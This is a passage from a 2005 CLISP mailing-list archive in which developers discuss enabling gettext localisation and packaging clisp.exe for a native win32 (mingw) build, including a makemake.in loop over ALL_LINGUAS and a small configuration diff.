List-Subscribe: , List-Archive: Date: Wed Feb 23 23:18:34 2005 X-Original-Date: Thu, 24 Feb 2005 09:17:38 +0200 Sam Steingold: > > - The file `clisp.exe' does not get in archive at run command "make > > distrib" though is created; > > clisp.exe has certain directories built-in. > Call $ clisp.exe -B new/path redefine some directories > it is never distributed. > it is built at installation time. > (it is created at build time because some people run clisp in-place) > clisp.exe is understand parameter "-K" (as against clisp.bat) But take 1,308 KB memory > > - The catalog `locale' too does not get in archive. > > that's because gettext is presumed to be not supported. > I shall try to correct...:) Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Feb 23 23:23:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4DLc-0004Au-Me for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:23:44 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4DLb-0007os-2Z for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:23:44 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37GB5; Thu, 24 Feb 2005 09:26:23 +0200 Message-ID: <421D8125.1000708@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 23 23:24:44 2005 X-Original-Date: Thu, 24 Feb 2005 09:24:21 +0200 In init.lisp: .... #+GETTEXT (LOAD "german") ; German messages #+(and GETTEXT UNICODE) (LOAD "french") ; French messages #+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages #+GETTEXT (LOAD "dutch") ; Dutch messages #+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages .... I cannot find where appears GETTEXT. UNICODE it is declared. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Feb 23 23:41:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4Dca-0004xT-Ob for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:41:16 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4DcX-00044P-U1 for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:41:16 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37GDR; Thu, 24 Feb 2005 09:43:51 +0200 Message-ID: <421D853C.3040603@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 23 23:42:23 2005 X-Original-Date: Thu, 24 Feb 2005 09:41:48 +0200 next part of src/makemake.in: for lang in ${ALL_LINGUAS:-"en de fr"}; do echotab "mkdir locale${NEXT_}${lang}" echotab "mkdir locale${NEXT_}${lang}${NEXT_}LC_MESSAGES" echotab "\$(LN_S) po${NEXT_}${lang}.gmo locale${NEXT_}${lang}${NEXT_}LC_MESSAGES${NEXT_}clisp.mo" done move to next in Makefile: mkdir locale/en de fr mkdir locale/en de fr/LC_MESSAGES $(LN_S) po/en de fr.gmo locale/en de fr/LC_MESSAGES/clisp.mo Why only "en de fr" and why it is not developed to mkdir locale/en mkdir locale/de mkdir locale/fr mkdir locale/de/LC_MESSAGES mkdir locale/en/LC_MESSAGES mkdir locale/fr/LC_MESSAGES $(LN_S) po/en.gmo locale/en/LC_MESSAGES/clisp.mo $(LN_S) po/de.gmo locale/de/LC_MESSAGES/clisp.mo $(LN_S) po/fr.gmo locale/fr/LC_MESSAGES/clisp.mo ? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Feb 23 23:53:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4DoN-0005bs-GU for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:53:27 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4DoK-00025L-Q3 for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:53:27 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37G1S; Thu, 24 Feb 2005 09:56:01 +0200 Message-ID: <421D8816.3020409@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] diff for makemake.in for enable getext for win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 23 23:54:12 2005 X-Original-Date: Thu, 24 Feb 2005 09:53:58 +0200 $ diff -a -n makemake.in makemake.in.new d1535 1 a1535 11 if [ "${with_gettext}" = no ]; then XCFLAGS=$XCFLAGS' -DNO_GETTEXT' else if [ @USE_NLS@ = yes ] ; then USE_GETTEXT=yes LIBS='@LIBINTL@ '$LIBS XCL_GETTEXTLIB=$XCL_GETTEXTLIB' locale' else XCFLAGS=$XCFLAGS' -DNO_GETTEXT' fi fi (copy part from section for [ $TOS = unix ]) P.S. With what parameters to start diff to receive a patch? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Thu Feb 24 00:06:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4E1L-0006NL-Dn for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 00:06:51 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4E1H-0003SC-DQ for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 00:06:51 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37GFJ; Thu, 24 Feb 2005 10:09:24 +0200 Message-ID: <421D8B39.7010707@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 00:07:57 2005 X-Original-Date: Thu, 24 Feb 2005 10:07:21 +0200 Sam Steingold: > clisp.exe has certain directories built-in. > clisp.exe could take the current run-time path? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Wed Feb 23 23:51:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4Dmj-0005NY-GH for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:51:45 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4Dmg-00052V-Ks for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:51:45 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37G1L; Thu, 24 Feb 2005 09:54:21 +0200 Message-ID: <421D87B3.1070309@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] diff for makemake.in for enable getext for win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 06:22:12 2005 X-Original-Date: Thu, 24 Feb 2005 09:52:19 +0200 $ diff -a -n makemake.in makemake.in.new d1535 1 a1535 11 if [ "${with_gettext}" = no ]; then XCFLAGS=$XCFLAGS' -DNO_GETTEXT' else if [ @USE_NLS@ = yes ] ; then USE_GETTEXT=yes LIBS='@LIBINTL@ '$LIBS XCL_GETTEXTLIB=$XCL_GETTEXTLIB' locale' else XCFLAGS=$XCFLAGS' -DNO_GETTEXT' fi fi (copy part from section for [ $TOS = unix ]) P.S. With what parameters to start diff to receive a patch? -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Feb 24 06:31:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4K21-0008Q6-Le for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:31:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4K1w-0000CQ-Nm for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:31:56 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1OEU754002175; Thu, 24 Feb 2005 09:30:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421D8816.3020409@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 24 Feb 2005 09:53:58 +0200") References: <421D8816.3020409@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: diff for makemake.in for enable getext for win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 06:32:29 2005 X-Original-Date: Thu, 24 Feb 2005 09:31:25 -0500 > * Yaroslav Kavenchuk [2005-02-24 09:53:58 +0200]: > > P.S. With what parameters to start diff to receive a patch? diff -u (or at least diff -c) -- Sam Steingold (http://www.podval.org/~sds) running w2k We're too busy mopping the floor to turn off the faucet. From sds@gnu.org Thu Feb 24 06:37:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4K7c-0000MR-IG for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:37:44 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4K7I-0000qJ-QA for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:37:44 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1OEZkRk003008; Thu, 24 Feb 2005 09:35:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421D8B39.7010707@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 24 Feb 2005 10:07:21 +0200") References: <421D8B39.7010707@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 06:37:55 2005 X-Original-Date: Thu, 24 Feb 2005 09:37:04 -0500 > * Yaroslav Kavenchuk [2005-02-24 10:07:21 +0200]: > > Sam Steingold: > >> clisp.exe has certain directories built-in. >> > clisp.exe could take the current run-time path? how? getexecname() is not standard. scroll to question 4.4. -- Sam Steingold (http://www.podval.org/~sds) running w2k God had a deadline, so He wrote it all in Lisp. From sds@gnu.org Thu Feb 24 06:41:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4KBE-0000U0-Fv for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:41:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4KBC-0001DL-NR for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:41:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1OEdi2N003588; Thu, 24 Feb 2005 09:39:44 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421D853C.3040603@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 24 Feb 2005 09:41:48 +0200") References: <421D853C.3040603@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 06:42:01 2005 X-Original-Date: Thu, 24 Feb 2005 09:41:02 -0500 > * Yaroslav Kavenchuk [2005-02-24 09:41:48 +0200]: > > next part of src/makemake.in: > > for lang in ${ALL_LINGUAS:-"en de fr"}; do > echotab "mkdir locale${NEXT_}${lang}" > echotab "mkdir locale${NEXT_}${lang}${NEXT_}LC_MESSAGES" > echotab "\$(LN_S) po${NEXT_}${lang}.gmo > locale${NEXT_}${lang}${NEXT_}LC_MESSAGES${NEXT_}clisp.mo" > done > > move to next in Makefile: > > mkdir locale/en de fr > mkdir locale/en de fr/LC_MESSAGES > $(LN_S) po/en de fr.gmo locale/en de fr/LC_MESSAGES/clisp.mo > > > Why only "en de fr" and why it is not developed to this is legacy. there was a time when en/de/fr were "built-in" while the others depended on gettext. now all translations depend on gettext and ALL_LINGUAS is defined in src/configure.in. I think makemake.in should be modified: ${ALL_LINGUAS:-"en de fr"} replaced with ${ALL_LINGUAS:-en} > mkdir locale/en > mkdir locale/de > mkdir locale/fr > mkdir locale/de/LC_MESSAGES > mkdir locale/en/LC_MESSAGES > mkdir locale/fr/LC_MESSAGES > $(LN_S) po/en.gmo locale/en/LC_MESSAGES/clisp.mo > $(LN_S) po/de.gmo locale/de/LC_MESSAGES/clisp.mo > $(LN_S) po/fr.gmo locale/fr/LC_MESSAGES/clisp.mo > > ? -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From sds@gnu.org Thu Feb 24 06:42:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4KCC-0000WQ-41 for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:42:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4KBt-000601-Bw for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:42:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1OEeJeV003678; Thu, 24 Feb 2005 09:40:20 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421D8125.1000708@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 24 Feb 2005 09:24:21 +0200") References: <421D8125.1000708@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 06:43:54 2005 X-Original-Date: Thu, 24 Feb 2005 09:41:37 -0500 > * Yaroslav Kavenchuk [2005-02-24 09:24:21 +0200]: > > In init.lisp: > .... > #+GETTEXT (LOAD "german") ; German messages > #+(and GETTEXT UNICODE) (LOAD "french") ; French messages > #+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages > #+GETTEXT (LOAD "dutch") ; Dutch messages > #+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages > .... > > I cannot find where appears GETTEXT. > UNICODE it is declared. see src/spvw.d:init_object_tab() -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From sds@gnu.org Thu Feb 24 06:42:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4KCd-0000gx-Lj for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:42:55 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4KCc-0001MC-1Y for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 06:42:55 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1OEfGkA003844; Thu, 24 Feb 2005 09:41:16 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421D7F92.3000300@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 24 Feb 2005 09:17:38 +0200") References: <421D7F92.3000300@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 06:45:27 2005 X-Original-Date: Thu, 24 Feb 2005 09:42:34 -0500 > * Yaroslav Kavenchuk [2005-02-24 09:17:38 +0200]: > > Sam Steingold: > >> > - The file `clisp.exe' does not get in archive at run command "make >> > distrib" though is created; >> >> clisp.exe has certain directories built-in. >> > Call > $ clisp.exe -B new/path > redefine some directories if you are using -B &c you can as well use lisp.exe instead. the only reason to use clisp.exe is that it has a good default for -M and -B. -- Sam Steingold (http://www.podval.org/~sds) running w2k The early bird may get the worm, but the second mouse gets the cheese. From bruno@clisp.org Thu Feb 24 09:29:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4MnP-0000zv-9X for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 09:29:03 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D4Mn9-0000Wq-GO for clisp-list@lists.sourceforge.net; Thu, 24 Feb 2005 09:29:03 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.3/8.13.3) with ESMTP id j1OHSUxZ027504; Thu, 24 Feb 2005 18:28:30 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j1OHSPfi004124; Thu, 24 Feb 2005 18:28:25 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 31ED93BD7D; Thu, 24 Feb 2005 17:21:18 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Yaroslav Kavenchuk User-Agent: KMail/1.5 References: <421D853C.3040603@jenty.by> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502241821.17069.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 24 09:33:14 2005 X-Original-Date: Thu, 24 Feb 2005 18:21:17 +0100 > > * Yaroslav Kavenchuk [2005-02-24 09:41:48 +0200]: > > > > next part of 